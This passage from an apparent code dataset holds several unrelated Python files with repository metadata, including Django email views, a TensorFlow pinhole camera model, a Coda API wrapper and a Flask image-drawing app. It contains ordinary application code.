Miscellaneous\n DISPLAY_MODE = 150\n USE_LISTENER_AFTER_OP = 151\n PRINT_HK = 152\n PRINT_TM = 153\n PRINT_RAW_TM = 154\n PRINT_TO_FILE = 155\n RESEND_TC = 156\n TC_SEND_TIMEOUT_FACTOR = 157\n\n # Config dictionaries\n USE_SERIAL = 160\n SERIAL_CONFIG = 161\n USE_ETHERNET = 162\n ETHERNET_CONFIG = 163\n END = 300\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_json_cfg_path(json_cfg_path: str):\n update_global(CoreGlobalIds.JSON_CFG_PATH, json_cfg_path)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef get_json_cfg_path() -> str:\n return get_global(CoreGlobalIds.JSON_CFG_PATH)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_glob_com_if_dict(custom_com_if_dict: ComIfDictT):\n CORE_COM_IF_DICT.update(custom_com_if_dict)\n update_global(CoreGlobalIds.COM_IF_DICT, CORE_COM_IF_DICT)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef get_glob_com_if_dict() -> ComIfDictT:\n return get_global(CoreGlobalIds.COM_IF_DICT)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_default_globals_pre_args_parsing(\n apid: int,\n com_if_id: str = CoreComInterfaces.DUMMY.value,\n custom_com_if_dict=None,\n display_mode=\"long\",\n tm_timeout: float = 4.0,\n print_to_file: bool = True,\n tc_send_timeout_factor: float = 2.0,\n):\n if custom_com_if_dict is None:\n custom_com_if_dict = dict()\n set_default_tc_apid(tc_apid=apid)\n set_default_tm_apid(tm_apid=apid)\n update_global(CoreGlobalIds.COM_IF, com_if_id)\n update_global(CoreGlobalIds.TC_SEND_TIMEOUT_FACTOR, tc_send_timeout_factor)\n update_global(CoreGlobalIds.TM_TIMEOUT, tm_timeout)\n update_global(CoreGlobalIds.DISPLAY_MODE, display_mode)\n update_global(CoreGlobalIds.PRINT_TO_FILE, print_to_file)\n update_global(CoreGlobalIds.CURRENT_SERVICE, CoreServiceList.SERVICE_17.value)\n update_global(CoreGlobalIds.SERIAL_CONFIG, dict())\n update_global(CoreGlobalIds.ETHERNET_CONFIG, dict())\n set_glob_com_if_dict(custom_com_if_dict=custom_com_if_dict)\n pp = pprint.PrettyPrinter()\n update_global(CoreGlobalIds.PRETTY_PRINTER, pp)\n update_global(CoreGlobalIds.TM_LISTENER_HANDLE, None)\n update_global(CoreGlobalIds.COM_INTERFACE_HANDLE, None)\n update_global(CoreGlobalIds.TMTC_PRINTER_HANDLE, None)\n update_global(CoreGlobalIds.PRINT_RAW_TM, False)\n update_global(CoreGlobalIds.USE_LISTENER_AFTER_OP, True)\n update_global(CoreGlobalIds.RESEND_TC, False)\n update_global(CoreGlobalIds.OP_CODE, \"0\")\n update_global(CoreGlobalIds.MODE, CoreModeList.LISTENER_MODE)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef check_and_set_other_args(args):\n if args.listener is not None:\n update_global(CoreGlobalIds.USE_LISTENER_AFTER_OP, args.listener)\n if args.tm_timeout is not None:\n update_global(CoreGlobalIds.TM_TIMEOUT, args.tm_timeout)\n if args.print_hk is not None:\n update_global(CoreGlobalIds.PRINT_HK, args.print_hk)\n if args.print_tm is not None:\n update_global(CoreGlobalIds.PRINT_TM, args.print_tm)\n if args.raw_print is not None:\n update_global(CoreGlobalIds.PRINT_RAW_TM, args.raw_print)\n if args.print_log is not None:\n update_global(CoreGlobalIds.PRINT_TO_FILE, args.print_log)\n if args.resend_tc is not None:\n update_global(CoreGlobalIds.RESEND_TC, args.resend_tc)\n update_global(CoreGlobalIds.TC_SEND_TIMEOUT_FACTOR, 3)\n\n\ndef check_and_set_core_service_arg(\n service_arg: any, custom_service_list: collections.abc.Iterable = None\n):\n from tmtccmd.util.conf_util import check_args_in_dict\n\n in_enum, service_value = check_args_in_dict(\n param=service_arg, iterable=CoreServiceList, warning_hint=\"service\"\n )\n if in_enum:\n update_global(CoreGlobalIds.CURRENT_SERVICE, service_value)\n return\n\n service_arg_invalid = False\n if custom_service_list is not None:\n for custom_services_entry in custom_service_list:\n in_enum, service_value = check_args_in_dict(\n param=service_arg,\n iterable=custom_services_entry,\n warning_hint=\"custom mode\",\n )\n if in_enum:\n break\n if not in_enum:\n service_arg_invalid = True\n else:\n service_arg_invalid = True\n\n if service_arg_invalid:\n logging.getLogger(__name__).warning(\n \"Passed service argument might be invalid, \"\n f\"setting to {CoreServiceList.SERVICE_17}\"\n )\n service_value = CoreServiceList.SERVICE_17\n update_global(CoreGlobalIds.CURRENT_SERVICE, service_value)\n\n\ndef get_default_tmtc_defs() -> TmtcDefinitionWrapper:\n global DEF_WRAPPER\n if DEF_WRAPPER is None:\n DEF_WRAPPER = TmtcDefinitionWrapper()\n return DEF_WRAPPER\n","repo_name":"robamu-org/tmtccmd","sub_path":"tmtccmd/config/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":5964,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"9434479673","text":"\n# This program will be able to convert from one currency to another.\nimport converter as conv\n\n\nmsg = \"\"\"\nWelcome to our currency converter app.\n\nAmount (NGN): # {user_amount}\nAmount ({to_currency}): $ {amount_in_currency}\n\n\n\"\"\"\n\namount_in_naira = input(\"Enter amount (NGN): \")\nto_currency = input(\"Convert to:\\n 1. USD \\n 2. EUR\\n 3. YEN\\n 4. RAND\\n 5. RUPEE: \")\n\n# conditions\nif to_currency == '1':\n to_value_USD = conv.convert_to_USD(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='USD', amount_in_currency=to_value_USD))\nelif to_currency == '2':\n to_value_EUR = conv.convert_to_EUR(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='EUR', amount_in_currency=to_value_EUR))\nelif to_currency == '3':\n to_value_YEN = conv.convert_to_YEN(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='YEN', amount_in_currency=to_value_YEN))\nelif to_currency == '4':\n to_value_RAND = conv.convert_to_RAND(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='RAND', amount_in_currency=to_value_RAND))\nelif to_currency == '5':\n to_value_RUPEE = conv.convert_to_RUPEE(from_value=amount_in_naira)\n print(msg.format(user_amount=amount_in_naira,to_currency='RUPEE', amount_in_currency=to_value_RUPEE))\nelse:\n print(\"Invalid Input\")\n\n\n","repo_name":"intellisenseCodez/currency-converter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73098232487","text":"# ---------- Import ----------\nimport math\nimport sys\ninput = sys.stdin.readline\n\n# ---------- Main ----------\nrooms = int(input())\npeople = list(map(int, input().split()))\nmain, sub = map(int, input().split())\n\nresult = 0\nfor person in people:\n\tif person < main:\n\t\tresult += 1\n\t\tcontinue\n\telse:\n\t\tperson -= main\n\t\tresult += math.ceil(person/sub) + 1\n\t\t\nprint(result)","repo_name":"miny-genie/BOJ","sub_path":"acmicpc_13458.py","file_name":"acmicpc_13458.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4272485281","text":"import django\n\nfrom django.conf import settings\n\n\n\n\n\n\n\n\nfrom django.shortcuts import render\nfrom django.core.mail import send_mail\n\ndef home(request):\n\treturn render(request, 'home.html', {})\n\ndef contact(request):\n\tif request.method == \"POST\":\n\t\t\n\t\tname = request.POST['name']\n\t\temail = request.POST['email']\n\t\tsubject = request.POST['subject']\n\t\tmessage = request.POST['message']\n\t\t\n\t\tmessage_email = \"Hello Flavio, \\n\" + \"You have received a contact us message from: \" + name + \"\\n Message: \\n\" + message + \"\\n To contact them back, here is their email: \" + email \n\t\t#send an email\n\t\tsend_mail(\n\t\t\tsubject,\n\t\t\t message_email,\n\t\t\t settings.EMAIL_HOST_USER,\n\t\t\t ['info@quattro-kc.com'],\n\t\t\t fail_silently=False)\n\n\t\tconfirmationmsg= \"Hello \" + name + ',\\n\\nYou are receiving this email to confirm your contact us message was sent successfully. We will respond to you shortly via email.\\n\\nThank you for choosing us for all your automotive needs!'\n\t\tsend_mail(\n\t\t\tsubject, confirmationmsg, settings.EMAIL_HOST_USER, [email], fail_silently=False)\n\t\t\t\n\n\n\n\t\treturn render(request, 'contact.html', {'name': name})\n\t\n\telse:\n\t\treturn render(request, 'contact.html', {})\n\ndef about(request):\n\treturn render(request, 'about.html', {})\n\ndef project(request):\n\treturn render(request, 'project.html', {})\n\ndef services(request):\n\treturn render(request, 'services.html', {})\n\ndef index(request):\n\treturn render(request, 'index.html', {})\n\ndef appointment(request):\n\tif request.method == \"POST\":\n\t\tyour_name = request.POST['your-name']\n\t\tyour_number = request.POST['your-number']\n\t\tdate = request.POST['date']\n\t\ttime = request.POST['time']\n\t\tyour_message = request.POST['your-message']\n\t\tservice = request.POST['service']\n\n\t\tappointment = \"Hello Flavio, \\nYou have an appointment that needs your confirmation. Here is the appointment information: \\n\" \"Name: \"+ your_name + \"\\nNumber: \" + your_number + \"\\nDate: \" + date + \"\\nTime: \" + time + \"\\nService: \" + service + \"\\nMessage: \" + your_message\n\n\t\tsend_mail(\n\t\t\t'Appointment Request', #subject\n\t\t\tappointment, #message\n\t\t\tsettings.EMAIL_HOST_USER, #from email\n\t\t\t['info@quattro-kc.com'], #To Email\n\t\t\tfail_silently=False)\n\t\t\t\n\n\n\t\treturn render(request, 'appointment.html', {\n\t\t\t'your_name': your_name,\n\t\t\t'your_number': your_number,\n\t\t\t'date': date,\n\t\t\t'time': time,\n\t\t\t'your_message': your_message,\n\t\t\t'service': service\n\t\t\t})\n\t\n\telse:\n\t\treturn render(request, 'index.html', {})","repo_name":"Wassimaly/Quattro-Motors","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3705573225","text":"import abc\nimport dataclasses\nfrom typing import TypeVar, Optional, Tuple\n\nimport tensorflow as tf\n\nTensorLike = tf.types.experimental.TensorLike\n\n# Type annotation of any instance of subclass of `AbstractCamera`.\nCameraType = TypeVar('CameraType', bound='AbstractCamera')\n\n\n@dataclasses.dataclass\nclass AbstractCamera(abc.ABC):\n \"\"\"An abstract camera class that defines the interface of camera models.\n\n This class provides abstract interface expected by different camera model\n imaplementations. Custom camera model classes are expected to subclass from\n `AbstractCamera` and implement the abstract methods. See `PinholeCamera` for\n an example of a concrete class subclassing `AbstractCamera`.\n \"\"\"\n\n @abc.abstractmethod\n def project(self, points: TensorLike) -> tf.Tensor:\n \"\"\"Project 3D points in camera frame to image frame.\n\n Given a set of 3D points in camera frame, this method returns the 2D image\n projections.\n\n Note that extrinsics is currently not part of the camera model and thus this\n `project` method expects the input 3D points to be in camera space. So world\n space points should be first transformed to camera space before passing them\n to this method.\n\n This method supports arbritrary batching of input points tensor (including\n no batching in case of single 3D point as input).\n\n This abstract method should be implemented in the subclassed camera model.\n\n Args:\n points: A tensor of shape `(..., 3)` containing 3D point positions in the\n camera frame.\n\n Returns:\n 2D image projections in a `(..., 2)` tensor.\n \"\"\"\n pass\n\n @abc.abstractmethod\n def unproject(\n self, points: Optional[TensorLike] = None, to_rays: bool = True\n ) -> tf.Tensor:\n \"\"\"Unproject 2D pixel points in image space to camera space.\n\n Given a a set of 2d point coordinates in the camera image, this function\n unprojects each 2D point to either a 3D ray or point in camera space. When\n `to_rays` is set to `True` (default), the output will be normalized 3D ray\n direction vectors in camera frame passing through every 2D image point.\n When `to_rays` is set to `False`, the output will be 3D points along the\n rays at `z=1` plane.\n\n This function supports arbritrary batching of input points tensor (including\n no batching for a single point).\n\n This abstract method should be implemented in the subclassed camera model.\n\n Args:\n points: A tensor of shape `(..., 2)` containing 2D image projections. If\n not provided, all pixel centers will be unprojected.\n to_rays: If `True` the output will normalized ray direction vectors in the\n camera space passing through every 2D image point. Otherwise the output\n will be 3D points along the rays in camera frame at `z=1` plane.\n\n Returns:\n A tensor of shape `(..., 3)` containing the un-projected ray directions\n (or points along rays at `z=1`) passing though each input 2D image points.\n \"\"\"\n pass\n\n @abc.abstractmethod\n def pixel_centers(self) -> tf.Tensor:\n \"\"\"Returns 2D coordinates of centers of all pixels in the camera image.\n\n The pixel centers of camera image are returned as a float32 tensor of shape\n `(image_height, image_width, 2)`.\n\n This abstract method should be implemented in the subclassed camera model.\n\n Returns:\n 2D image coordinates of center of all pixels of the camer image in tensor\n of shape `(image_height, image_width, 2)`.\n \"\"\"\n pass\n\n\n@dataclasses.dataclass\nclass PinholeCamera(AbstractCamera):\n \"\"\"Linear (pin-hole) camera model.\n\n A linear camera model, where intrinsics is 3 x 3 matrix e.g.\n [fx s cx]\n K = [0 fy cy]\n [0 0 1]\n where fx, fy being focal length in pixels, s being skew, and cx, cy is\n principal point in pixels.\n\n This camera model uses the convention that top left corner of the image is\n `(0, 0)` and bottom right corner is `(image_width, image_height)`. So the\n center of the top left corner pixel is (0.5, 0.5).\n\n Example Usage:\n\n ```python\n # Create a pinhole camera instance with default constructor.\n camera = isun.geometry.PinholeCamera(\n K=[[fx, s, cx], [0, fy, cy], [0, 0, 1]],\n image_width=W,\n image_height=H,\n )\n\n # Alternatively, it is also possible to construct a pinhole camera instance\n # using classmethods like `from_fov` and `from_intrinsics`.\n\n # Construct a pinhole camera with horizontal field of view of 45°.\n camera = isun.geometry.PinholeCamera.from_fov(\n image_width=W,\n image_height=H,\n horizontal_fov_in_degrees=45.0)\n\n # Construct a pinhole camera from common intrinsics parameters.\n camera = isun.geometry.PinholeCamera.from_intrinsics(\n image_size_in_pixels=(W, H),\n focal_length_in_pixels=(fx, fy))\n\n # Project and unproject 1000 random points.\n image_points = camera.project(np.random.rand(1000, 3))\n camera_rays = camera.unproject(image_points)\n\n # Project and unproject single point.\n image_point = camera.project(tf.constant([320., 240.]))\n camera_rays = camera.unproject(image_point)\n\n # Create an array (H, W, 2) containing pixel center coordinates.\n pixel_centers = camera.pixel_centers()\n\n # Generate a pointcloud from depth image storing per pixel depth along rays.\n pointcloud = camera.unproject(pixel_centers, to_rays=True) * depth\n\n # Generate a pointcloud from depth image storing per pixel depth along Z.\n pointcloud = camera.unproject(pixel_centers, to_rays=False) * depth\n ```\n \"\"\"\n\n # 3x3 camera intrinsics matrix.\n K: TensorLike # pylint: disable=invalid-name\n # Width of the camera image in pixels.\n image_width: int = 0\n # Height of the camera image in pixels.\n image_height: int = 0\n\n def __post_init__(self):\n self.K = tf.convert_to_tensor(self.K)\n self.K = tf.ensure_shape(self.K, (3, 3))\n\n @classmethod\n def from_fov(\n cls,\n *,\n image_width: int,\n image_height: int,\n horizontal_fov_in_degrees: float,\n vertical_fov_in_degrees: Optional[float] = None,\n ) -> 'PinholeCamera':\n \"\"\"Creates a `PinholeCamera` from field of view parameters.\n\n This `classmethod` provides a convenient way to construct an `PinholeCamera`\n instance with common field of view (fov) parameters.\n\n Example Usage:\n\n ```python\n # Construct a pinhole camera with horizontal field of view of 45°.\n camera = isun.geometry.PinholeCamera.from_fov(\n image_width=W,\n image_height=H,\n horizontal_fov_in_degrees=45.0)\n ```\n\n Args:\n image_width: Camera image width in pixels.\n image_height: Camera image height in pixels.\n horizontal_fov_in_degrees: Horizontal fov of the camera in degrees.\n vertical_fov_in_degrees: Optional vertical fov of the camera in degrees.\n When set to `None` (default) we assume square pixel aspect ratio, and\n vertical focal length will be set to same as horizontal focal length.\n\n Returns:\n A `PinholeCamera` instance with provided intrinsics.\n \"\"\"\n\n def focal_length_from_fov(image_size, fov_in_degrees):\n fov_in_radians = tf.experimental.numpy.deg2rad(fov_in_degrees)\n focal_length = 0.5 * image_size / tf.math.tan(0.5 * fov_in_radians)\n return tf.cast(focal_length, tf.float32)\n\n fx = focal_length_from_fov(image_width, horizontal_fov_in_degrees)\n fy = (\n fx\n if vertical_fov_in_degrees is None\n else focal_length_from_fov(image_height, vertical_fov_in_degrees)\n )\n\n cx, cy = image_width / 2, image_height / 2\n return cls(\n image_width=image_width,\n image_height=image_height,\n K=tf.convert_to_tensor([[fx, 0.0, cx], [0.0, fy, cy], [0.0, 0.0, 1.0]]),\n )\n\n @classmethod\n def from_intrinsics(\n cls,\n *,\n image_size_in_pixels: Tuple[int, int],\n focal_length_in_pixels: Tuple[float, float],\n principal_point_in_pixels: Optional[Tuple[float, float]] = None,\n skew: float = 0.0,\n ) -> 'PinholeCamera':\n \"\"\"Creates a `PinholeCamera` from intrinsic parameters.\n\n This `classmethod` provides a convenient way to construct an `PinholeCamera`\n instance with common intrinsic parametrs.\n\n Example Usage:\n\n ```python\n # Construct a pinhole camera from common intrinsics parameters.\n camera = isun.geometry.PinholeCamera.from_intrinsics(\n image_size_in_pixels=(W, H),\n focal_length_in_pixels=(fx, fy),\n principal_point_in_pixels=(cx, cy),\n skew=skew)\n ```\n\n Args:\n image_size_in_pixels: (width, height) of the camera image in pixels.\n focal_length_in_pixels: (horizontal, vertical) focal length in pixels.\n principal_point_in_pixels: Optional (horizontal, vertical) principal point\n in pixels. If set to `None` (default), principal point is image center.\n skew: Skew coefficient.\n\n Returns:\n A `PinholeCamera` instance with provided intrinsics.\n \"\"\"\n image_width, image_height = image_size_in_pixels\n fx, fy = focal_length_in_pixels\n if principal_point_in_pixels is None:\n principal_point_in_pixels = (image_width / 2, image_height / 2)\n cx, cy = principal_point_in_pixels\n return cls(\n image_width=image_width,\n image_height=image_height,\n K=tf.convert_to_tensor(\n [[fx, skew, cx], [0.0, fy, cy], [0.0, 0.0, 1.0]]\n ),\n )\n\n def project(self, points: TensorLike) -> tf.Tensor:\n \"\"\"Project 3D points in camera frame to image frame.\n\n Given a set of 3D points in camera frame, this method returns the 2D image\n projections.\n\n Note that extrinsics is currently not part of the camera model and thus this\n `project` method expects the input 3D points to be in camera space. So world\n space points should be first transformed to camera space before passing them\n to this method.\n\n This method supports arbritrary batching of input points tensor (including\n no batching in case of single 3D point as input).\n\n Args:\n points: A tensor of shape `(..., 3)` containing 3D point positions in the\n camera frame.\n\n Returns:\n 2D image projections in a `(..., 2)` tensor.\n \"\"\"\n image_frame = tf.einsum('ij,...j->...i', self.K, points)\n image_frame = image_frame[..., :2] / image_frame[..., 2:3]\n return image_frame\n\n def unproject(\n self, points: Optional[TensorLike] = None, to_rays: bool = True\n ) -> tf.Tensor:\n \"\"\"Unproject 2D pixel points in image space to camera space.\n\n Given a a set of 2d point coordinates in the camera image, this functions\n unprojects each 2D point to either a 3D ray or point in camera space. When\n `to_rays` is set to `True` (default), the output will normalized 3D ray\n direction vectors in camera frame passing through every 2D image point.\n When `to_rays` is set to `False`, the output will be 3D points along the\n rays at `z=1` plane.\n\n This function supports arbritrary batching of input points tensor (including\n no batching for a single point).\n\n Args:\n points: A tensor of shape `(..., 2)` containing 2D image projections. If\n not provided, all pixel centers will be unprojected.\n to_rays: If `True` the output will normalized ray direction vectors in the\n camera space passing through every 2D image point. Otherwise the output\n will be 3D points along the rays in camera frame at `z=1` plane.\n\n Returns:\n A tensor of shape `(..., 3)` containing the un-projected ray directions\n (or points along rays at `z=1`) passing though each input 2D image points.\n \"\"\"\n if points is None:\n points = self.pixel_centers()\n\n image_frame = tf.concat((points, tf.ones_like(points[..., 0:1])), axis=-1)\n camera_frame = tf.einsum(\n 'ij,...j->...i', tf.linalg.inv(self.K), image_frame\n )\n if to_rays:\n camera_frame, _ = tf.linalg.normalize(camera_frame, axis=-1)\n else:\n camera_frame = camera_frame / tf.expand_dims(\n camera_frame[..., 2], axis=-1\n )\n return camera_frame\n\n def pixel_centers(self) -> tf.Tensor:\n \"\"\"Returns 2D coordinates of centers of all pixels in the camera image.\n\n The pixel centers of camera image are returned as a float32 tensor of shape\n `(image_height, image_width, 2)`.\n\n This camera model uses the convention that top left corner of the image is\n `(0, 0)` and bottom right corner is `(image_width, image_height)`. So the\n center of the top left corner pixel is `(0.5, 0.5)`.\n\n Returns:\n 2D image coordinates of center of all pixels of the camer image in tensor\n of shape `(image_height, image_width, 2)`.\n \"\"\"\n image_grid = tf.meshgrid(\n tf.range(self.image_width), tf.range(self.image_height), indexing='xy'\n )\n return tf.cast(tf.stack(image_grid, axis=-1), dtype=tf.float32) + 0.5\n","repo_name":"google-research/sunds","sub_path":"sunds/core/tf_geometry/cameras.py","file_name":"cameras.py","file_ext":"py","file_size_in_byte":12780,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"}
+{"seq_id":"20009552868","text":"import json\n\ndata = '{\"var1\":\"khand\", \"var2\":55}'\nprint(data)\nparsed = json.loads(data)\nprint(parsed['var1'])\n\n# TASK1 - json.load \n\ndata2 = {\n \"channel_name\": \"code2hell\",\n \"cars\": ['bmw', 'audi a8', 'ferrari'],\n \"fridge\": ('roti', 540),\n \"isbad\": False\n}\njscomp = json.dumps(data2)\nprint(jscomp)\n\n\n\n# TASK2 - json.dump \nprint(\"hello world\")","repo_name":"khand420/Learn-Python","sub_path":"json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"6238582026","text":"import datetime\nimport decimal\n\n\ndef date_range(fromdate, todate):\n if type(fromdate) is not datetime.date:\n fromdate = datetime.date.fromisoformat(fromdate)\n delta = datetime.timedelta(1)\n if todate is None:\n while True:\n yield fromdate\n fromdate += delta\n if type(todate) is not datetime.date:\n todate = datetime.date.fromisoformat(todate)\n while fromdate < todate:\n yield fromdate\n fromdate += delta\n\n\ndef arg_range(variant_arg, delta_type, end_value, function, *args):\n if not (0 <= variant_arg < len(args)):\n raise ValueError(\"variant_arg must be in range [0, {})\".format(len(args)))\n elif delta_type not in (\"int\", \"date\"):\n raise ValueError(\"Accepted deltas are: [int, date]\")\n nargs = list(args)\n dynrange = {\"int\": range, \"date\": date_range}\n retvals = []\n for i in dynrange[delta_type](args[variant_arg], end_value):\n nargs[variant_arg] = i\n retvals.append((i, function(*nargs)))\n return retvals\n\n\ndef make_income(book, in_type, desc, value, f, t):\n if type(value) is not decimal.Decimal:\n value = decimal.Decimal(value)\n if value < 0:\n raise ValueError(\"Incomes must have positive value\")\n if type(f) is not datetime.date:\n f = datetime.date.fromisoformat(f)\n if type(t) is not datetime.date:\n t = datetime.date.fromisoformat(t)\n return book.add_income(in_type, desc, value, f, t)\n\n\ndef make_outcome(book, out_type, desc, value, f, t):\n if type(value) is not decimal.Decimal:\n value = decimal.Decimal(value)\n if value > 0:\n raise ValueError(\"Outcomes must have negative value\")\n if type(f) is not datetime.date:\n f = datetime.date.fromisoformat(f)\n if type(t) is not datetime.date:\n t = datetime.date.fromisoformat(t)\n return book.add_outcome(out_type, desc, value, f, t)\n\n\ndef calc_income(book, on_date):\n if type(on_date) is not datetime.date:\n on_date = datetime.date.fromisoformat(on_date)\n return sum(map(lambda x: x.value, book.incomes_for_day(on_date)))\n\n\ndef calc_outcome(book, on_date):\n if type(on_date) is not datetime.date:\n on_date = datetime.date.fromisoformat(on_date)\n return sum(map(lambda x: x.value, book.outcomes_for_day(on_date)))\n\n\ndef calc_balance(book, on_date):\n return calc_income(book, on_date) + calc_outcome(book, on_date)\n","repo_name":"kouta-kun/finpy","sub_path":"engine_functions.py","file_name":"engine_functions.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"91953655","text":"#-------------------------\n# Blasterai/codaio library\nfrom codaio import Coda\n\n#-----------------\n# Standard library\nimport json\nimport re\n\n\"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n| M A I N C L A S S |\n|----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\nclass Pycoda():\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C O N S T R U C T O R |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def __init__(self, strApiKey):\n #----------------------------\n # initialize class _CONSTANTS\n assert(strApiKey)\n self._init_meta()\n\n self.CODA_API_KEY = strApiKey\n self.coda = Coda(strApiKey)\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S R E Q U E S T S |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def list_docs(self):\n \"\"\" Returns a list of documents \"\"\"\n try:\n list = self.coda.list_docs(is_owner=True)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_controls(self, strDocId):\n \"\"\" Returns a list of controls in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_controls(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_folders(self, strDocId):\n \"\"\" Returns a list of folders in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_folders(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_formulas(self, strDocId):\n \"\"\" Returns a list of formulas in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_formulas(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_sections(self, strDocId):\n \"\"\" Returns a list of sections in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_sections(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_tables(self, strDocId):\n \"\"\" Returns a list of tables in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_tables(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_views(self, strDocId):\n \"\"\" Returns a list of views in DocId \"\"\"\n assert(strDocId)\n try:\n list = self.coda.list_views(strDocId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_columns(self, strDocId, strTableId):\n \"\"\" Returns a list of columns in TableId \"\"\"\n assert(strDocId)\n assert(strTableId)\n try:\n list = self.coda.list_columns(strDocId, strTableId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n def list_rows(self, strDocId, strTableId):\n \"\"\" Returns a list of rows in TableId \"\"\"\n assert(strDocId)\n assert(strTableId)\n try:\n list = self.coda.list_rows(strDocId, strTableId)\n except:\n return \"{}\"\n return self.json_items(list)\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S M E T H O D S |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def json_items(self, dictItems):\n strRet=\"\"\n for key in dictItems:\n if key == \"items\":\n for val in dictItems[key]:\n strRet=strRet+json.dumps(val)\n return strRet\n\n def json_error(self):\n jsnRet = json.dumps({})\n jsnRet['error_code'] = 1\n jsnRet['error_msg'] = 'Failed request'\n return jsnRet\n\n \"\"\"--------+---------+---------+---------+---------+---------+---------+---------+---------|\n | C L A S S M E T A D A T A |\n |----------+---------+---------+---------+---------+---------+---------+---------+-------\"\"\"\n def _init_meta(self):\n \"\"\"\n | _strMETACLASS, _strMETAVERSION, _strMETAFILE used to save() and load() members\n \"\"\"\n self._strMETACLASS = str(self.__class__).split('.')[1][:-2]\n self._strMETAVERSION = \"0.1\"\n \"\"\"\n | Filename \"_Class_Version_\"\n \"\"\"\n self._strMETAFILE = \"_\" + self._strMETACLASS + \"_\" + self._strMETAVERSION + \"_\"","repo_name":"dennislwm/coda-cli","sub_path":"app/pycoda.py","file_name":"pycoda.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"37640138428","text":"from flask import Flask, render_template, request, redirect\nfrom PIL import Image\nimport io\nimport base64\nfrom ImageDatabase import ImageDatabase\n\napp = Flask(__name__)\nglobal id\nglobal image\nglobal flag_no_images_left_to_draw\nflag_no_images_left_to_draw = False\n\ndb = ImageDatabase(\"image_database.db\")\n# get new image to display on the canvas\nid, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\nif id is None and image is None:\n flag_no_images_left_to_draw = True\n\n@app.route(\"/\")\ndef index():\n global image\n global id\n global flag_no_images_left_to_draw\n\n if db.row_exists(id) is False:\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n if id is None and image is None:\n flag_no_images_left_to_draw = True\n\n if flag_no_images_left_to_draw:\n return redirect(\"/manageDatabase\")\n return render_template(\"index.html\", background_image=base64.b64encode(image).decode('utf-8'))\n\n@app.route(\"/process_image\", methods=[\"POST\"])\ndef process_image():\n global id\n global image\n # Get the image data from the form\n image_data = request.form.get(\"image_data\")\n # Convert the data URL to a PIL Image\n image = Image.open(io.BytesIO(base64.b64decode(image_data.split(',')[1])))\n\n # Save the image as a PNG without the background\n output = io.BytesIO()\n image.save(output, format=\"PNG\")\n drawn_image = output.getvalue()\n\n # Add the drawn image to the database\n db.add_drawn_image(id, drawn_image)\n # get new image to display on the canvas\n id, image = db.get_original_image_from_database_that_has_no_drawn_image_yet()\n if id is None and image is None:\n return redirect(\"/manageDatabase\")\n return redirect(\"/\")\n\n@app.route(\"/manageDatabase\")\ndef manageDatabase():\n entries = db.get_all_entries()\n modified_entries = [] # Create a new list for modified entries\n for entry in entries:\n entry_id = entry[0]\n original_image_data = base64.b64encode(entry[1]).decode('utf-8') if entry[1] else None\n drawn_image_data = base64.b64encode(entry[2]).decode('utf-8') if entry[2] else None\n modified_entries.append((entry_id, original_image_data, drawn_image_data))\n return render_template(\"manageDatabase.html\", entries=modified_entries)\n\n@app.route('/upload', 